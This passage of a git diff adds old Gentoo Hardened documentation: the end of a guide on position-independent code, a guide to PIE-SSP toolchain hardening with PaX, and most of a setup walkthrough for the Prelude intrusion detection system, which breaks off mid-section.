+The impact of "-fPIC" on certain arches like AMD64 can be tolerated due to the true PIC-oriented data and code addressing scheme and is even necessary on several (considered broken) architectures that refuse to build certain applications without -fPIC (errors with nonPIC relocation types on PARISC).
+
+There is only one official method to add flags like "-fPIC" to ebuilds: using the flag-o-matic eclass and "append-flags".
+
+However, it is not a good idea to enable "-fPIC" in global CFLAGS or create ebuilds that automatically add the "-fPIC" flag independent of the situation and architecture it is applied.
+
+There are people referring to a noticeable performance penalty when running executables containing position independent code compared to executables incorporating normally compiled object code.
+</p>
+
+<p>
+Normally, the setup of the PIC register takes about three assembler commands per function that is entered and additional overhead of 1-2 assembler commands per accessed symbol (code function or data object).
+
+Thus, we have the inverted situation for normal executables that the invocation of the "-fPIC" flag is doing the exact opposite like in shared libraries.
+
+Instead of giving us speed for low memory profile by saving memory via COW and making text relocations unnecessary, the additional overhead in the addressing mode is imposing a speed penalty on our executable.
+</p>
+
+<p>
+Why does a normal dynamically linked executable (not position independent shared executable) need no text relocations and PIC addressing?
+
+Because the kernel (in a normal world) always moves it to the same location in process memory when started, making it unnecessary for the dynamic loader to address any TEXT relocations in the normal executable: because there are none!
+
+We have learned that only shared libraries are located at a given, freely choosen, address space in the process memory of the dynamically linked executable.
+
+So, in the text segment of a "fixed load location" normal executable there are no TEXT segment relocations because all addresses are at the same location in memory during every invocation of the program.
+
+The addressing of data and functions inside the executable are provided via relative and absolute relocations in a common used set of platform-dependent, performance oriented assembler commands.
+</p>
+
+<p>
+While the architectures supported by Gentoo are quite differently addressing memory, they all share the same characteristic: direct non-PIC-aware addressing is always cheaper (read: faster) than PIC addressing.
+
+For example the RISC (Reduced Instruction Set) architectures sparc, ppc and hppa sometimes use more than one assembler command issuing several more opcodes to do what x86 does with a single variable length assembler command, loading a full 32-Bit address for example.
+
+Only the AMD64 seems to support some kind of "emulation" mode where it does not seem to make a difference if PIC or normal addressing is used for referring code functions and data to access.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conclusion</title>
+<section>
+<body>
+
+<p>
+The only way that time-wasting text relocations are imposed on a process, leading to the dynamic loader having to work overtime, are with using nonPIC dynamically shared libraries.
+</p>
+
+<p>
+For normal executables that are dynamically linked to these shared libraries, the executables themselves need not to be using -fPIC for building the object code they consist of.
+
+These executables simply do not need the PIC addressing mode for their functions and data and will use the PLT (Process Linkage Table) and the GOT (Global Offset Table) anyway for addressing external data in shared libraries.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>References</title>
+<section>
+<body>
+
+<ul>
+ <li><uri link="pic-guide.xml">Introduction to Position Independent Code</uri></li>
+ <li><uri link="http://www.iecc.com/linker/">Linkers and Loaders</uri> by Levine (the Levine book)</li>
+ <li><uri link="http://people.redhat.com/drepper/dsohowto.pdf">How to Write Shared Libraries</uri> by Ulrich Drepper</li>
+</ul>
+
+<p>I would like to say personal thanks to the PaX team for supporting us with an extraordinary and outstanding commitment to our toolchain issues!</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/pie-ssp.xml b/xml/htdocs/proj/en/hardened/pie-ssp.xml
new file mode 100644
index 00000000..ceaaa343
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pie-ssp.xml
@@ -0,0 +1,287 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="pie-ssp.xml">
+
+<title>Gentoo Linux PIE-SSP Documentation</title>
+
+<author title="Author">
+        <mail link="pappy@gentoo.org">Alexander Gabert</mail>
+</author>
+	
+<author title="Contributor">
+	<mail link="solar@gentoo.org">solar</mail>
+</author>
+
+<abstract>(This DOC is badly outdated and mostly obsolete) This introductionary guide explains the basic behaviour of the hardened toolchain.</abstract>
+
+<version>1.45</version>
+
+<date>20050805</date>
+
+<chapter>
+	<title>Introduction to Randomization and Stack Protection</title>
+  <section>
+<body>
+
+<p>
+First of all, the PaX homepage has moved to http://pax.grsecurity.net, 
+please update your bookmarks.
+</p>
+
+<p>
+While the goal of the PaX suite has remained the same ever since, 
+preventing memory related security vulnerabilities, there has been major 
+advancements in the progress of getting similar and coexisting kernel 
+patches into the attention of the wide public.
+</p>
+
+<p>
+Even though linear stack smashing attacks, formatstring overflows and 
+return to libc style attacks cannot be fully prevented or suppressed by 
+effective randomization of the running executable, there seems to be a 
+wide consent amongst information security experts and GNU/Linux 
+distributions that it does help putting up another barrier (see chapter 
+3).
+</p>
+
+<p>
+The outstanding support and help from the Gentoo toolchain main developer 
+and coordinator, Martin Schlemmer as well as Dr. Hiroaki Etoh and moid 
+from the OpenBSD team with the closer integration of the SSP patch into 
+the Gentoo toolchain and userland has proven the common goals and 
+commitments between developers throughout the world striving for better 
+support and acceptance of technology that provides a security oriented, 
+high quality, automatic response to simple linear stack overflow attempts.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+	<title>Kernels with PaX patches</title>
+  <section>
+<body>
+<p>
+The positive feedback generated by users who are enhanced by the 
+grsecurity patch being included as a standard security measure in the 
+native gentoo-sources leads us to uphold the support for grsecurity in 
+this common practice kernel.
+</p>
+
+<p>
+While the hardened-sources has been abolished in favour of the ongoing 
+concurrent development of fully supported MAC/ACL schemes in Gentoo 
+Hardened, selinux-sources and grsec-sources can benefit from the thorough 
+implementation of a true PIE (position independent executables) and SSP 
+(stack smashing protector) environment via the incorporated PaX patch.
+</p>
+
+<p>
+Chris Pebenito holds up the high quality and standard of the 
+selinux-sources while keeping in touch with the PaX developments and 
+introducing randomization and userland features of PIE and SSP via PaX or 
+correlating patches according to the requirements of the solutions needed 
+by our partners.
+</p>
+
+<p>
+The hardened-sources are maintained by hardened team and is the ideal 
+kernel to use with a hardened toolchain.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+	<title>GNU C Compiler and the history of PIE support</title>
+  <section>
+<body>
+<p>
+As described in the introduction, in the last year we have seen major 
+advancements (and confusion) in the GNU upstream toolchain regarding the 
+implementation of a system wide scenario for storing information about 
+stack protection requirements and randomization of executables via PIE 
+(position independent executables) support.
+</p>
+<p>
+
+When the first PaX randomization patches came out, a modification to the 
+GNU C compiler specs file was needed to create so-called 
+&quot;shared executables&quot;.
+</p>
+<p>
+
+This means that these days the linker was told to explicitly link -fPIC 
+(gcc function to force the creation of position independent code) compiled 
+.o object files with a interp.o interpreter field pointing to &quot;/lib/ld.so&quot; 
+from glibc on the intel platform, using a special custom formed crt1S.o 
+which was able to set up the addresses of &quot;_main&quot;, &quot;_init&quot; (recent glibc: 
+&quot;__libc_csu_init&quot;) and &quot;_fini&quot; (recent glibc: &quot;__libc_csu_fini&quot;) in the 
+&quot;_start&quot; function in a position independent manner.
+</p>
+
+<p>
+So basically a setup like in a shared library was used to set up the PIC 
+(position independent code) addressing of the data and the code segments 
+in the executable that needs to be started via the main() function.
+</p>
+
+<p>
+There has been a bug on nonintel arches regarding the setup of the PIC 
+register (%r19 on parisc) for statically linked binaries.
+Since this bug has been fixed on all arches we can support, it is now also 
+safe to create this library-like PIC setup for statically compiled 
+binaries.
+</p>
+
+<p>
+When Ingo Molnar from Redhat started to introduce the execshield kernel 
+patches, the developers at Redhat also wanted to make use of the &quot;hot and 
+new&quot; randomization for binaries, so Jakub Jelinek invested a lot of time 
+in the preparation of the toolchain (binutils, glibc, gcc) to introduce 
+the -pie flag which generates these binaries with the correct interpreter 
+and a glibc provided Scrt1.o.
+</p>
+
+<p>
+With Russell Coker involved in the Fedora distribution of Redhat, the 
+future directions to an Execshield based selinux setup with -pie support 
+from the toolchain are a visible example for the integration of security 
+improvements in a full-scale commercial office and home user distribution.
+</p>
+
+<p>
+Russell Coker also seems to be interested in supporting selinux for 
+Debian.
+</p>
+
+<p>
+However, the technical approach to support compatibility needs of 
+applications (java apps, gcc heuristically sets executable stack for 
+nested functions) over default security measures (as implemented in PaX 
+kernels) may not suit environments with higher risk analysis and threat 
+potential.
+</p>
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>A proven gcc extension for linear stack overflow protection</title>
+<section>
+<body>
+<p>
+When the OpenBSD team discovered SSP as their favourite utility to limit 
+the possibility of linear stack overflows, they also evaluated the stack 
+smash handler functions and found out that the best way to introduce SSP 
+into their toolchain was a modification of the dynamic linker for 
+executables requiring that no standard libraries were included (boot 
+loaders!) and giving all other dynamically linked applications the chance 
+to retrieve the guard object and the necessary related functions via their 
+standard C library.
+Thus, the dynamically linked executables and shared libraries protected 
+via propolice were using one exact shared copy of the __guard reference 
+and the needed functions for setup and smash handling in a single 
+location.
+</p>
+
+<p>
+Statically linked executables will have their own copy of __guard and the 
+functions to work properly.
+</p>
+
+<p>
+On the Linux platform, Dr. Etoh decided to put the __guard, the 
+__guard_setup and the __stack_smash_handler into the libgcc of the gcc 
+package.
+This led to problems with big packages like apache2 and mod_php4 producing 
+false positives because the wrong local __guard copies in shared libraries 
+and/or the main executable were used by different __stack_smash_handlers, 
+this odd momentum has been resolved and isolated in gdb sessions by pipacs 
+from the PaX team.
+</p>
+<p>
+Having moid from the OpenBSD team to help us mitigating this negative side 
+effect of the GNU C compiler and working close together with Dr. Etoh from 
+the IBM labs in japan gave us the chance to introduce the first 
+glibc-based SSP setup for userland in GNU/Linux for Gentoo-Linux at all! 
+( PIE-SSP it works! )
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+	<title>Position Independent Executables with Propolice support</title>
+<section>
+<body>
+
+<p>On a Gentoo system this is currently accomplished by merging <c>gcc</c>: </p>
+
+<pre caption="Emerging gcc">
+# <i>USE="hardened pic" emerge sys-devel/gcc</i>
+</pre>
+   
+<p>While a hardened <c>gcc</c> starts the transparent conversion of a system to position independence for your binaries via making use of gcc spec file handling.</p>
+
+<p>Once the gcc has been equipped with that new specs file, a package or a kernel building can only return to the conventional building behaviour when it feeds the correct CFLAGS and LDFLAGS to the build process.</p>
+
+   <p>As an example lets try the rebuilding our chpax binary as a position independent
+   executable. We can use the file(1) command to determine if we 
+   in fact we are building our executables as ET_EXEC or ET_DYN.</p> 
+   
+   <p>The first example here we have chpax built as a ET_DYN
+   and the second one is chpax not built as a standard ET_EXEC file.</p>
+
+	<pre caption="Example files">
+# <i>file /sbin/chpax</i>
+/sbin/chpax: ELF 32-bit LSB shared object, Intel 80386, version 1 \
+	(GNU/Linux), stripped
+
+# <i>file /sbin/chpax</i>
+/sbin/chpax: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for \
+	GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
+</pre>
+
+<p>The <c>gcc</c> package has been designed to easily revert back to a conventional building environment behaviour in case of problems.</p>
+
+<p>Users can restore the original gcc specs file behaviour at any time by calling the gcc-config utility on the commandline. gcc-config -l ; gcc-config</p>
+
+<p>Ebuilds that experience problems with the a hardened gcc automatic transparency can evaluate the existence of the hardened gcc package on the target system and use compatibility CFLAGS to restore the original gcc behaviour during the emerge.</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+	<title>Using distcc with hgcc</title>
+	<section>
+		<body>
+    <p>
+<mail link="lisa@gentoo.org">Lisa Marie Seelye</mail> says you need the same hgcc and gcc versions on all distcc host volunteer machines.
+</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>      
+	<title>Credits and Reference</title>
+	<section>
+		<body>
+			<ul>
+      <li><uri link="http://pax.grsecurity.net">PaX Homepage</uri></li>
+			<li><uri link="http://pax.grsecurity.net/docs/index.html">PaX Documentation</uri></li>
+			<li><uri link="http://www.research.ibm.com/trl/projects/security/ssp/">Propolice/SSP Homepage</uri></li>
+			<li><uri link="http://www.grsecurity.net">Grsecurity Homepage</uri></li>
+			<li><uri link="http://fedora.redhat.com">Fedora Homepage</uri></li>
+			<li><uri link="http://www.openbsd.com">OpenBSD Homepage</uri></li>
+			<li><uri link="http://www.nsa.gov/selinux">SElinux Homepage</uri></li>
+			<li><uri link="http://www.gentoo.org/doc/en/distcc.xml">Gentoo Distcc Documentation</uri></li>
+    </ul>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/prelude-ids.xml b/xml/htdocs/proj/en/hardened/prelude-ids.xml
new file mode 100644
index 00000000..43aeb383
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/prelude-ids.xml
@@ -0,0 +1,572 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="prelude-ids.xml">
+<title>Gentoo Linux Documentation -- Prelude Intrusion Detection System</title>
+<author title="Author"><mail link="zack@tehunlose.com">
+	Zack Gilburd</mail>
+</author>
+<author title="Contributors">
+  <mail link="mboman@gentoo.org">Michael Boman</mail>
+</author>
+<author title="Contributors">
+  <mail link="kzaraska@student.uci.agh.edu.pl">Krzysztof Zaraska</mail>
+</author>
+
+<abstract>
+	This guide will assist you in setting up the Prelude Intrustion Detection System along with the rules needed to make it useful.
+</abstract>
+<version>0.0.99</version>
+<date>17 Jul 2003</date>
+<chapter>
+	<title>About Prelude</title>
+	<section>
+		<title>Background Information</title>
+		<body>
+			<p>
+			Prelude was founded and writen by Yoann Vandoorselaere in 1998. Many others have also greatly contributed to it.
+			</p>
+			<p>
+			Prelude is a hybrid intrustion detection system that will detect and monitor security instrusions, whether they happen in an attack mobilized over the Internet or an attack mobilzed locally.  The monitoring work that Prelude does is made possible via an LML (Log Monitoring Lackey).  Prelude can also utilize the rulesets from intrusion detection systems such as Snort.
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>What Are the Components?</title>
+		<body>
+			<ul><li><path>prelude-manager</path> : The manager is the place where all the main logging is done.  When the manager receives a signal from the sensors, it logs the signal so the user can investigate.  Logging can either be done to a file or to a datebase such as MySQL.  The latter is the recommended solution.</li></ul>
+			<ul><li><path>prelude-nids</path> : NIDS is a plugin for Prelude and stands for Network Intrusion Detection System.  The prelude-nids package should definately be used along side Prelude proper, but is not mandatory. The NIDS package also provides for functionality like that of <uri link="http://snort.org">Snort</uri></li></ul>
+			<ul><li><path>prelude-lml</path> : The LML stands for Log Monitoring Lackey.  Like the NIDS, it is also a sensor.  The LML watches your logfiles and looks for anything out of the ordinary.  Should abnormalities be found, an alert is sent to the manager.</li></ul>
+			<ul><li><path>libprelude</path> : libprelude provides for the libraries necessary in order for the manager to be able to talk to the other plugins.  It also provides the sensors with extra features.</li></ul>
+			<ul><li><path>piwi</path> : PIWI stands for Prelude Intrusion (Detection System) Web Interface.  The title pretty much describes the said package; it is an interface powered by perl that can help the end user manage their rules and see when attacks are happening or have happened.</li></ul>
+		</body>
+	</section>
+</chapter>
+<chapter>
+	<title>Installing Prelude</title>
+	<section>
+		<title>Emerging the Packages</title>
+		<body>
+			<p>
+				We will now begin by adding <path>ssl</path> to our <path>make.conf</path>, then emerging each of the packages described above.
+			</p>
+			<pre caption="/etc/make.conf">
+<comment>You do not have to delete other entries from your USE, just add ssl.</comment>
+USE="ssl"
+</pre>
+			<pre caption="Starting the Emerges">
+<comment>Emerging the libraries.</comment>
+# <i>emerge libprelude</i>
+<comment>Now for the log lackey.</comment>
+# <i>emerge prelude-lml</i>
+<comment>Installing the Network Intrustion Detection System</comment>
+# <i>emerge prelude-nids</i>
+<comment>Now for the most important component: The manager.</comment>
+# <i>emerge prelude-manager</i>
+<comment>Lastly, we will install PIWI.</comment>
+# <i>emerge piwi</i>
+</pre>
+		</body>
+	</section>
+</chapter>
+<chapter>
+	<title>Configuring Prelude</title>
+	<section>
+		<title>Setting up the Manager</title>
+		<body>
+			<p>
+				We will now edit the Manager's main configuration file, <path>prelude-manager.conf</path>.  Two of the most important settings are for changing where Prelude will listen.  For instance, if you have two IPs but only one Prelude to listen on one of them, you would supply the said IP in the configuration.</p>
+			<pre caption="/etc/prelude-manager/prelude-manager.conf">
+# Sensor Server is listening on any IP 
+sensors-srvr = 0.0.0.0; 
+# Admin Server is listening on any IP 
+admin-srvr = 0.0.0.0; 
+</pre>
+		</body>
+	</section>
+	<section>
+		<title>Setting up the Database</title>
+		<body>
+		<p>
+			If you want to set up Prelude to work with its backend being a database like MySQL or PostgreSQL (and believe me, you do), then you will want to continue with this section.  If you really and truly would rather use plaintext logging, then you can skip this section.
+		</p>
+		<impo>Your SQL server, whether it be MySQL or PostgreSQL, needs to be running before you proceed.</impo>
+		<pre caption="Creating the Database">
+# <i>/usr/bin/prelude-manager-db-create.sh</i>
+
+Prelude Database Support Installation
+=====================================
+
+*** Phase 0/7 ***
+
+Warning: if you want to use database support with prelude
+ You should dedicate the database for this job only.
+
+So if you ever have a database running for another job
+ please think about taking it away, because this script
+ will install prelude as a dedicated database and you
+ could meet some troubles with your old bases.
+
+<comment>Since we want database support, we are going to say &quot;y&quot; here.</comment>
+Do you want to install a dedicated database for prelude ?
+ (y)es / (n)o : y
+
+
+*** Phase 1/7 ***
+
+<comment>Here you can either chose to have your database be MySQL (mysql) or
+PostgreSQL (pgsql).  I'll be choosing MySQL.</comment>
+Enter the type of the database [mysql|pgsql]: mysql
+
+
+*** Phase 2/7 ***
+
+<comment>Unless you are going to be running the MySQL server on a different
+box than Prelude, just hit ENTER here to choose &quot;localhost&quot;.</comment>
+Enter the name of the host where the database is running [localhost]:
+
+
+*** Phase 3/7 ***
+
+<comment>3306 is the default port for MySQL, so unless you plan on running
+the MySQL daemon on a different port, then just hit ENTER here.</comment>
+Enter the port where the database is running [3306]:
+
+
+*** Phase 4/7 ***
+
+<comment>Hit ENTER here to have the database that stores all the information
+that Prelude keeps track of be named &quot;prelude&quot;.</comment>
+Enter the name of the database that should be created to stock alerts [prelude]:
+
+*** Phase 5/7 ***
+
+<comment>You can go ahead and hit ENTER here unless you have your MySQL super-user
+set up under a different name.</comment>
+This installation script has to connect to your mysql database in order to creat
+e a user dedicated to stock prelude's alerts
+What is the database administrative user ? [root]:
+
+We need the password of the admin user "root" to log on the database.
+By default under mysql, root has an empty password.
+Please enter a password:
+Please confirm entered password:
+
+*** Phase 6/7 ***
+
+We need to create a database user account that will be used by the Prelude Manag
+er in order to access the "prelude" database.
+
+Username to create [prelude] :
+
+We need to set a password for this special "prelude" account.
+This password will have to be used by prelude-manager to access the database.
+Please enter a password:
+Please confirm entered password:
+
+*** Phase 7/7 ***
+
+Please confirm those information before processing :
+
+Database name   : prelude
+Database admin user: root
+Database admin password: (not shown)
+
+prelude owner user: prelude
+prelude owner password: (not shown)
+
+Is everything okay ? (yes/no) : yes
+
+Creating the database prelude...
+
+Creating user "prelude" for database "prelude",
+using "root" to connect to the database.
+
+Creating tables with /usr/share/prelude-manager/mysql/mysql.sql
+
+-------------- End of Database Support Installation -------------
+If it succeeded, you should now be able to launch prelude-manager like that :
+==&gt;  prelude-manager --mysql --dbhost localhost --dbname prelude --dbuser pre
+lude --dbpass xxxxxx
+
+Or you may modify the prelude-manager configuration file (/usr/local/etc/prelude
+-manager/prelude-manager.conf by default) in order to launch prelude-manager wit
+hout database arguments:
+---------- cut here ---&gt;
+[MySQL]
+# Host the database is listening on.
+dbhost = localhost;
+# Port the database is listening on.
+dbport = 3306;
+# Name of the database.
+dbname = prelude;
+# Username to be used to connect the database.
+dbuser = prelude;
+# Password used to connect the database.
+dbpass = xxxxxx;
+&lt;--- cut here ----------
+
+Replace xxxxxx by the password you choose for the manager account
+-----------------------------------------------------------------
+
+</pre>
+      </body>
+    </section>
+    <section>
+      <title>NIDS Configuration</title>
+      <body>
+	<p>
+	  Now we just need to set up NIDS so it knows which ethernet device to monitor.</p>
+	  <pre caption="/etc/conf.d/prelude-nids">
+<comment>Change eth0 to match the ethernet device to be monitored.</comment>
+OPTIONS="-i eth0"
+</pre>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Installing Sensors</title>
+    <section>
+      <title>Prerequisit Configuration</title>
+      <body>
+	<p>
+	  We will now be setting up the default configuration for the sensors in the <path>/etc/prelude-sensors/sensors-default.conf</path> file.  This will be used globally for the sensors.  You can edit the below and then place it in the configuration file.
+	  </p>
+	<pre caption="/etc/prelude-sensors/sensors-default.conf">
+<comment># Replace this with the IP of the manager.</comment>
+manager-addr = 192.168.0.1; 
+<comment># Here you will want to fill in your full hostname.</comment>
+node-name = yourbox.yourdomain.com; 
+<comment># This is just a plaintext descriptor.  You can put almost anything here.</comment>
+node-location = Rack 2, Server 5. Monitoring Network A from an SPAN port on switch 28A; 
+[Node Adress] 
+<comment># The IP address of the box Prelude is being set up on.</comment>
+address = 192.168.0.1; 
+<comment># The netmask for the box.</comment>
+netmask = 255.255.255.0; 
+</pre>
+	<p>
+	  We will now be adding our sensors to the manager.  There are two ways of setting up the manager to talk to the sensors: via an SSL encrypted connection and via an unencrypted connection.  The only time when you will want to opt for the latter is when the manager and the sensor are on the same box.</p>
+      </body>
+    </section>
+    <section>
+      <title>Installing the NIDS Sensor</title>
+      <body>
+	<p>
+	We will now run the necessary commands to set up the SSL connection.
+	  </p>
+      <pre caption="Setting Up the Encrypted Connection">
+# <i>manager-adduser</i>
+
+No Manager key exist... Building Manager private key...
+
+<comment>How many bits should the encryption be?  I would recommend just hitting
+ENTER here.</comment>
+What keysize do you want [1024] ?
+
+
+Please specify how long the key should be valid.
+        0    = key does not expire
+        &lt;n&gt;  = key expires in n days
+
+<comment>Here you can hit ENTER again to select a key that does not expire.</comment>
+Key is valid for [0] :
+
+
+Key length        : 1024
+Expire            : Never
+<comment>Granted everything is okay, type in &quot;yes&quot; and hit enter.</comment>
+Is this okay [yes/no] : yes
+
+
+Generating a 1024 bit RSA private key...
+................++++++
+...........................++++++
+Writing new private key to '/etc/prelude-manager/prelude-manager.key'.
+Adding self signed Certificate to '/etc/prelude-manager/prelude-manager.key'
+
+
+<comment>This password is VERY important.  Do NOT lose it until you've completed the sensor-adduser.</comment>
+Generated one-shot password is "p=7f6N7+".
+
+This password will be requested by "sensor-adduser" in order to connect.
+Please remove the first and last quote from this password before using it.
+
+waiting for install request from Prelude sensors...
+<comment>Do not close this terminal!  Leave it open an open another session to
+continue the guide.</comment>
+</pre>
+	<p>
+	  Now open up another terminal if you have not already done so and proceed to add the sensor user.  Right now we will be adding the user for the NIDS component to Prelude.
+	  </p>
+	  <impo>Remeber that if both the sensor and the manager are running on the same machine, it is important to specify the machines ethernet IP, not <path>127.0.0.1</path>.  If you specify <path>127.0.0.1</path>, <c>sensor-adduser</c> will default to an unencrypted connection.<br /><br />However, if you do not want to use SSL, specify the said IP.
+	  </impo>
+	  <pre caption="Adding the Sensor User">
+<comment> You will want to change &quot;192.168.1.102&quot; if the manager is on a different IP.</comment>
+# <i>sensor-adduser -s prelude-nids -m 192.168.1.102 -u 0</i>
+
+
+Now please start "manager-adduser" on the Manager host where
+you wish to add the new user.
+
+Please remember that you should call "sensor-adduser" for each configured
+Manager entry.
+
+<comment>We have already done this; hit ENTER.</comment>
+Press enter when done.
+
+Please use the one-shot password provided by the "manager-adduser" program.
+
+<comment>Enter that password that I talked about above.  I hope you did not lose it ;).
+Also, be aware that while I am going to fill in the fields here, the password will
+not echo back to you.</comment>
+Enter registration one shot password : p=7f6N7+
+Please confirm one shot password : p=7f6N7+
+<comment>If you do not see that the connection suceeded then you closed the terminal
+that I told you not to.  Remove /etc/prelude-manager/prelude-manager.key and start
+again with manager-adduser.</comment>
+connecting to Manager host (127.0.0.1:5553)... Succeeded.
+
+
+What keysize do you want [1024] ? 1024
+
+
+Please specify how long the key should be valid.
+        0    = key does not expire
+        &lt;n&gt;  = key expires in n days
+
+Key is valid for [0] : 0
+
+
+Key length        : 1024
+Expire            : Never
+
+Is this okay [yes/no] : yes
+Generating a 1024 bit RSA private key...
+...........++++++
+........................................++++++
+Writing new private key to '/etc/prelude-sensors/ssl/prelude-nids-key.0'.
+Adding self signed Certificate to '/etc/prelude-sensors/ssl/prelude-nids-key.0'
+writing Prelude Manager certificate.
+Using already allocated ident for prelude-nids@yourbox: 1057315311.
+</pre>
+	<p>
+	  Now switch back to the terminal with manager-adduser running in it.  You should see output that resembles that below.
+	  </p>
+	<pre caption="manager-adduser Output">
+Connection from 192.168.1.102.
+sensor choose to use SSL communication method.
+Writing Prelude certificate to /etc/prelude-manager/prelude-sensors.cert
+Registration completed.
+</pre>
+      </body>
+    </section>
+    <section>
+      <title>Adding the LML Sensor</title>
+      <body>
+	<p>
+	  We will now set up the Log Monitoring Lackey.
+	  </p>
+	<note>You may realize that there are quite a bit of lines of output &quot;missing&quot; from this example.  In fact, the lines of output that are not present in this example go away after the initial <c>manager-adduser</c></note>
+	<pre caption="Setting up the Manager for the LML">
+# <i>manager-adduser</i>
+
+
+Generated one-shot password is "4;%f7%1Y".
+
+This password will be requested by "sensor-adduser" in order to connect.
+Please remove the first and last quote from this password before using it.
+
+waiting for install request from Prelude sensors...
+</pre>
+	<p>
+	  Again, switch over to another terminal and proceed with the next example.
+	  </p>
+	<note>
+	  We will be using the same methods we used in the NIDS example, so the same comments in red from before apply here, too.
+	  </note>
+	<pre caption="Setting up the LML">
+# <i>sensor-adduser -s prelude-lml -m 192.168.101 -u 0</i>
+
+
+Now please start "manager-adduser" on the Manager host where
+you wish to add the new user.
+
+Please remember that you should call "sensor-adduser" for each configured
+Manager entry.
+
+<comment>Hit enter; we have already started manager-adduser.</comment>
+Press enter when done.
+
+
+
+Please use the one-shot password provided by the "manager-adduser" program.
+
+Enter registration one shot password : 4;%f7%1Y
+Please confirm one shot password : 4;%f7%1Y
+connecting to Manager host (127.0.0.1:5553)... Succeeded.
+
+What keysize do you want [1024] ? 1024
+
+
+Please specify how long the key should be valid.
+        0    = key does not expire
+        &lt;n&gt;  = key expires in n days
+
+Key is valid for [0] : 0
+
+
+Key length        : 1024
+Expire            : Never
+
+Is this okay [yes/no] : yes
+Generating a 1024 bit RSA private key...
+...............++++++
+.++++++
+Writing new private key to '/etc/prelude-sensors/ssl/prelude-lml-key.0'.
+Adding self signed Certificate to '/etc/prelude-sensors/ssl/prelude-lml-key.0'
+writing Prelude Manager certificate.
+Using already allocated ident for prelude-lml@yourbox: 1057887742.
+</pre>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Post Installation</title>
+    <section>
+      <title>Testing the Manager</title>
+      <body>
+	<p>
+	  On the manager box, start the Prelude manager in the foreground.
+	  </p>
+	<pre caption="Starting the Manager">
+# <i>prelude-manager</i>
+- Initialized 2 reporting plugins.
+- Initialized 1 database plugins.
+- Subscribing Prelude NIDS data decoder to active decoding plugins.
+- Initialized 1 decoding plugins.
+- Initialized 0 filtering plugins.
+- Subscribing TextMod to active reporting plugins.
+- sensors server started (listening on 127.0.0.1:5554).
+</pre>
+	<p>
+	  Now go ahead and switch over to the sensor box.  We will test the communication by using the NIDS sensor.
+	  </p>
+	<pre caption="Starting the NIDS Sensor">
+<comment>Remember to change the manager address if it differs from the example.</comment>
+# <i>prelude-nids -i eth0 --manager-addr 127.0.0.1</i>
+- Initialized 3 protocols plugins.
+- Initialized 5 detections plugins.
+
+- RpcMod subscribed for "rpc" protocol handling.
+- TelnetMod subscribed for "telnet" protocol handling.
+- HttpMod subscribed for "http" protocol handling.
+- Done loading Unicode table (663 Unichars, 0 ignored, 0 with errors)
+- ScanDetect subscribed to : "[TCP,UDP]".
+- ArpSpoof subscribed to : "[ARP]".
+/etc/prelude-nids/ruleset/web-misc.rules (7) Parse error: Unknow key regex
+/etc/prelude-nids/ruleset/web-misc.rules (65) Parse error: Unknow key regex
+- Signature engine added 890 and ignored 2 signature.
+- Connecting to Unix prelude Manager server.
+- Plaintext authentication succeed with Prelude Manager.
+
+- Initializing packet capture.
+</pre>
+	<p>
+	  Make sure that your output looks relatively the same.  Let us make sure that we have the important output displaying correctly.
+	  </p>
+	<pre caption="Important output from NIDS">
+- Connecting to Unix prelude Manager server.
+- Plaintext authentication succeed with Prelude Manager.
+</pre>
+	<pre caption="Important output from the manager after we have started NIDS">
+[unix] - accepted connection.
+[unix] - plaintext authentication succeed.
+[unix] - sensor declared ident 578232824809457160.
+</pre>
+	<p>
+	  If you do not see those two sets of output, make sure that the manager is listening on the right IP and that the manager address is supplied properly for NIDS.
+	  </p>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Running and Managing Prelude</title>
+    <section>
+      <title>Starting up the Prelude Daemons</title>
+      <body>
+	<p>
+	  There are several init scripts that control the different parts to Prelude, so we will want to start those up now.
+	</p>
+	<pre caption="Starting the Prelude Daemons">
+<comment>First, we will start up the manager.</comment>
+# <i>/etc/init.d/prelude-manager start</i>
+<comment>Next, it is time to start the NIDS</comment>
+# <i>/etc/init.d/prelude-nids start</i>
+<comment>And finally, we will start up the LML.</comment>
+# <i>/etc/init.d/prelude-lml start</i>
+</pre>
+	<p>
+	  Most likely, you are going to want Prelude and its components to start up when you boot up the computer.  In order to achieve this, we will add the necessary components to the default runlevel.
+	</p>
+	<pre caption="Adding the Daemons to the Run Level">
+# <i>rc-update add prelude-manager default</i>
+# <i>rc-update add prelude-nids default</i>
+# <i>rc-update add prelude-lml default</i>
+</pre>
+	</body>
+      </section>
+      <section>
+	<title>Installing PIWI</title>
+	<body>
+	  <p>
+	    The first thing we will do to get PIWI working is emerge it.
+	  </p>
+	    <pre caption="Emerging PIWI">
+# <i>emerge piwi</i>
+</pre>
+	    <p>
+		We will now follow the instructions that the emerge process gives us
+	    </p>
+	    <impo>Depending on what version of Apache you are running, the following file names may vary.  If you are using Apache2, the files will be located in <path>/etc/apache2/conf</path> and the files will be named differently.  Usually, the file names will differ only by a present "2" that is not there in the Apache1 file names.  For example, <path>apache.conf</path> becomes <path>apache2.conf</path> in Apache2.</impo>
+	    <pre caption="/etc/apache/conf/apache.conf">
+<comment>The best place for this line is probably at the end of the file.</comment>
+Include /etc/piwi/piwi-apache.conf
+</pre>
